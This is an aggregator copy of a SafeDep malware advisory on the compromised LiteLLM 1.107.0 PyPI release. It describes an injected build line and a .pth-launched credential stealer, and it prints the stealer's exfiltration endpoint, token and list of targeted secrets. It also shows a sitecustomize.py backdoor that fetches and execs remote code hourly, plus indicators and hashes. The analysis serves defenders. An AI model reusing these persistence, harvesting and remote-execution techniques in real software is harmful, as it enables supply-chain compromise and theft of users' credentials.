{"slug": "compromised-litellm-1-107-0-on-pypi-installs-a-credential-stealer-and-backdoor", "title": "Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor", "summary": "The LiteLLM 1.107.0 release on PyPI shipped a credential stealer and a remote code execution backdoor in all seven wheels (Linux, macOS, Windows), according to SafeDep, which found three files installed into site-packages that run whenever any Python process starts on the host, even one that never imports litellm. The injected `data = \"cook\"` line in the sdist's `pyproject.toml` maturin build section copies a `cook/` folder into the wheel, while the upstream GitHub source at tag v1.107.0 contains neither the line nor the folder; SafeDep infers a compromised release pipeline or stolen PyPI credentials. The stealer collects SSH keys, cloud credentials, CI/CD secrets, AI tool tokens, browser passwords and LLM provider keys from the LiteLLM proxy database, encrypts them and sends them to www.litellm[.]dev, while a `sitecustomize.py` daemon re-runs the stealer hourly and executes code from a server address read from a GitHub file; versions 1.106.2, 1.107.0rc1 and 1.107.0rc2 are clean.", "body_md": "# Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor\n\nOn this page\n\nThe [LiteLLM 1.107.0](https://pypi.org/project/litellm/1.107.0/) release on PyPI carries a credential stealer and a\nremote code execution backdoor. All seven wheels (Linux, macOS, Windows) install them as three files in\n`site-packages`. Both run when any Python process starts on the host, even one that never imports `litellm`. The\nupstream GitHub source does not contain them.\n\nVersions 1.106.2, 1.107.0rc1, and 1.107.0rc2 are clean.\n\n## What the attack does\n\nInstalling `litellm==1.107.0` places three files in `site-packages`. Python loads two of them each time it starts.\n\n1. `cook.pth` imports`cook.py` , a credential stealer. It collects SSH keys, cloud credentials, CI/CD secrets, AI tool\ntokens, browser passwords, and the LLM provider keys in a LiteLLM proxy database. It encrypts the data and sends it to`www.litellm[.]dev` .\n2. `sitecustomize.py` starts a background daemon. Every hour, the daemon reads a server address from a GitHub file,\nruns the stealer again, and downloads and runs code from that server.\n\n## How the implant got into the release\n\nThe `pyproject.toml` in the 1.107.0 source distribution (sdist) has one extra line in the `maturin` build section:\n\n```\n[tool.maturin]\n...\npython-source = \".\"\ndata = \"cook\"                     # <-- injected\npython-packages = [\"litellm_cli\"] # legitimate (present upstream)\n```\n\nThe `maturin` `data = \"cook\"` setting copies a `cook/` folder into `litellm-1.107.0.data/purelib/` in the wheel. pip\ninstalls that folder into `site-packages`.\n\nThe sdist leaves out the `cook/` folder, so this line is the only visible change. The upstream\n[`pyproject.toml` at tag `v1.107.0`](https://raw.githubusercontent.com/BerriAI/litellm/v1.107.0/pyproject.toml) has no\n`data = \"cook\"` line and no `cook/` folder. Someone changed the build outside the public repository. SafeDep infers a\ncompromised release pipeline or stolen PyPI credentials.\n\nThe wheel `RECORD` lists the three added files:\n\n``` python\nlitellm-1.107.0.data/purelib/cook.pth           12 bytes   \"import cook\"\nlitellm-1.107.0.data/purelib/cook.py         22252 bytes   exec(zlib.decompress(b64decode(...)))\nlitellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes  loader/backdoor + embedded stealer\n```\n\n## Payload 1: the credential stealer in cook.py\n\nAt startup, Python runs each line that starts with `import` in a `.pth` file in `site-packages`. `cook.pth` contains\n`import cook`, so the stealer runs in every Python process on the host: the application, pip, IDE language servers, and\nCI jobs.\n\n`cook.py` wraps about 61 KB of Python in one layer of `exec(zlib.decompress(base64.b64decode('...')))`. The decoded\ncode starts with this configuration:\n\n```\nPC_URL       = 'http://www.litellm.dev/healthcheck'\nPC_TOKEN     = 'XWiA8gZNa7NcX2XRoAEb'          # sent as X-Token header\nPC_PUBKEY    = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...'  # RSA-4096\nPC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'\nPC_ASYNC     = True                              # runs in a daemon thread\nPC_MODULES   = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',\n                'shell_hist','cloud_creds','dev_secrets','container_creds',\n                'cicd_secrets','ai_devtools','env_vars','db_litellm',\n                'cloud_metadata','gpg_keys','tls_privkey']\n```\n\n### What it collects\n\n| Module | Targets | \n|---|---|\n| `sysinfo` ,`netinfo` | Host name, user, operating system, IP addresses, network settings | \n| `browser_pw` | Chromium saved passwords, decrypted with the profile master key (DPAPI on Windows). Firefox `logins.json` and`key4.db` | \n| `browser_hist` | Browser history | \n| `ssh_keys` | `~/.ssh/*` | \n| `shell_hist` | `bash` and`zsh` history, PowerShell PSReadLine,`cmd` history | \n| `cloud_creds` | `~/.aws/credentials` and`config` , Azure profile and tokens,`gcloud` credentials,`~/.kube/config` ,`~/.docker/config.json` ,`gh`` hosts.yml` ,`rclone.conf` ,`~/.netrc` | \n| `dev_secrets` | `.pem` ,`.key` ,`.pfx` ,`.p12` ,`.pk8` ,`.ppk` files under`$HOME` , Composer`auth.json` , FileZilla saved servers | \n| `container_creds` | Kubernetes service account token | \n| `cicd_secrets` | GitLab runner `config.toml` , Jenkins`initialAdminPassword` and`master.key` ,`.vault-token` , Terraform`credentials.tfrc.json` , Packer settings | \n| `ai_devtools` | Claude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code `mcp.json` , Gemini CLI, Codex`auth.json` , Continue, Aider, Goose,`opencode` ,`Qwen` , Crush,`Kiro` , Zed, Hugging Face token | \n| `env_vars` | Its own environment and the environment of other processes through `/proc/<pid>/environ` | \n| `db_litellm` | Reads `DATABASE_URL` and dumps the`LiteLLM_CredentialsTable` and`LiteLLM_ProxyModelTable` tables, which hold the LLM provider API keys of a LiteLLM proxy | \n| `cloud_metadata` | AWS instance metadata service (IMDSv2, then v1): instance identity and role credentials | \n| `gpg_keys` ,`tls_privkey` | GPG keys, TLS private keys | \n\n### How it sends the data\n\n1. It encrypts the JSON results with a random AES-256-CBC key, and encrypts that key with RSA-OAEP and the embedded public key.\n2. It packs the result into a tar.gz (`hdr.json` ,`data.bin` ,`key.bin` ) and sends it in a POST request to`www.litellm[.]dev/healthcheck` with the header`X-Token: XWiA8gZNa7NcX2XRoAEb` .\n3. After a successful upload, it writes `/tmp/.pc_once_72129118c59f5636c0bb` so it collects only once per host. It\nalso sets`PRIVCOLLECT_ACTIVE=1` to avoid a second run in the same process tree.\n\n## Payload 2: the backdoor in sitecustomize.py\n\nPython imports `sitecustomize` at startup, so this file also runs in every Python process.\n\n```\nGITHUB_RAW_URL = \"https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt\"\nCODE_PATH      = \"/codepy\"\nLOOP_INTERVAL  = 3600\nLOCK_FILE      = \"/tmp/remote_code_loader.lock\"\n```\n\n1. It takes an exclusive lock on `/tmp/remote_code_loader.lock` , so only one daemon runs per host.\n2. It calls `fork()` and`setsid()` , sends standard input and output to`/dev/null` , and changes directory to`/` to\ndetach from the parent process.\n3. Every hour, it:\n  1. reads `domain.txt` from the attacker’s GitHub repository and takes the first line that looks like a domain,\n  2. runs its embedded copy of the stealer, which has no once-per-host marker,\n  3. downloads `http://<domain>/codepy` and runs it with`exec()` .\n4. reads \n\nThe attacker can point the daemon at a new server by editing `domain.txt`. Each infected host runs whatever that server\nreturns as `codepy`.\n\n## Indicators of compromise\n\n### Network\n\n| Indicator | Purpose | \n|---|---|\n| `www.litellm[.]dev` ,`hxxp://www.litellm[.]dev/healthcheck` | Receives stolen data | \n| HTTP header `X-Token: XWiA8gZNa7NcX2XRoAEb` | Sent with each upload | \n| `raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt` | Backdoor reads its server address here | \n| `hxxp://<domain>/codepy` | Second-stage code download | \n| Requests to `169.254.169.254` from Python processes | Theft of AWS instance credentials | \n\n### Host\n\n| Indicator | Meaning | \n|---|---|\n| `cook.pth` ,`cook.py` ,`sitecustomize.py` in`site-packages` | Implant installed | \n| `/tmp/.pc_once_72129118c59f5636c0bb` | Stealer already uploaded data | \n| `/tmp/remote_code_loader.lock` | Backdoor daemon has run | \n| Environment variable `PRIVCOLLECT_ACTIVE=1` | Present in infected processes | \n| Detached Python daemon (parent PID 1, own session, working directory `/` ) | Backdoor loop | \n\n### File hashes (SHA-256)\n\n| File | SHA-256 | \n|---|---|\n| `litellm-1.107.0.tar.gz` | `2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819` | \n| `litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl` | `462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7` | \n| `litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl` | `668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6` | \n| `litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl` | `1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00` | \n| `litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl` | `c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054` | \n| `litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl` | `7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d` | \n| `litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl` | `0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a` | \n| `litellm-1.107.0-cp310-abi3-win_amd64.whl` | `12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484` | \n\nThe planted files, from the wheel `RECORD`:\n\n| File | SHA-256 (URL-safe base64) | \n|---|---|\n| `cook.pth` | `fxkWMucyBwXRVLhSBPGuVGtUOsvX6IYSKbdvUEK5K9s` | \n| `cook.py` | `ndCjkm-Wo364bPHuIxDZvpMTnMTr7z754u_pUxOQviU` | \n| `sitecustomize.py` | `NL7wT-iKydCq4EdWMLFzhoHRW5TyM6yKpG6s9ZaDBfo` | \n\n- pypi\n- python\n- malware\n- supply-chain\n- litellm\n\n### Author\n\n####   [Kunal Singh](https://www.linkedin.com/in/kunalsin9h/)  \n\n safedep.io\n\n### Share\n\n## The Latest from SafeDep blogs\n\nFollow for the latest updates and insights on open source security & engineering\n\n   \n\n##   [Forged Commits Push a preinstall Dropper into hugo-paper and mevn-cli](https://safedep.io/hugo-paper-mevn-cli-forged-commit-preinstall-dropper)  \n\n An attacker pushed forged commits to the default branches of hugo-paper and mevn-cli. Running npm install or bun install in either repository downloads and runs a second-stage script from...\n\n   \n\n##   [ASOS App Hack: Attackers Used Push Notifications to Send a Ransom Note](https://safedep.io/asos-push-notification-extortion-snowflake-claim)  \n\n Attackers got into the platforms ASOS uses to message customers and pushed an extortion note to phones. Here is what is confirmed, what is only claimed, and what customers should do.\n\n   \n\n##   [MALFEX Moves Its npm Loader into a Native Windows DLL](https://safedep.io/malfex-imgdecode-npm-native-addon-loader)  \n\n The MALFEX package imgdecode contains a native Windows loader. When loaded from a console, it attempts to download, decrypt, and inject shellcode into dllhost.exe.\n\n   \n\n##   [tensorlake 0.5.144 npm Compromise Ships Mini Shai-Hulud](https://safedep.io/tensorlake-npm-compromise-mini-shai-hulud)  \n\n  [\\[email protected\\]](https://safedep.io/cdn-cgi/l/email-protection) on npm ran a Mini Shai-Hulud worm at install. A maintainer account committed the payload through the GitHub web interface, and the official release workflow published it. \n\n## Ship Code.\n\n## Not Malware.\n\nStart free with open source tools on your machine. Scale to a unified platform for your organization.", "url": "https://wpnews.pro/news/compromised-litellm-1-107-0-on-pypi-installs-a-credential-stealer-and-backdoor", "canonical_source": "https://safedep.io/litellm-pypi-compromise-credential-stealer-backdoor", "published_at": "2026-10-21 00:00:00+00:00", "updated_at": "2026-10-21 13:43:37.495600+00:00", "lang": "en", "topics": ["ai-safety", "ai-infrastructure", "ai-tools", "large-language-models"], "entities": ["LiteLLM", "PyPI", "SafeDep", "BerriAI", "maturin", "GitHub"], "also_reported_by": [], "alternates": {"html": "https://wpnews.pro/news/compromised-litellm-1-107-0-on-pypi-installs-a-credential-stealer-and-backdoor", "markdown": "https://wpnews.pro/news/compromised-litellm-1-107-0-on-pypi-installs-a-credential-stealer-and-backdoor.md", "text": "https://wpnews.pro/news/compromised-litellm-1-107-0-on-pypi-installs-a-credential-stealer-and-backdoor.txt", "jsonld": "https://wpnews.pro/news/compromised-litellm-1-107-0-on-pypi-installs-a-credential-stealer-and-backdoor.jsonld"}}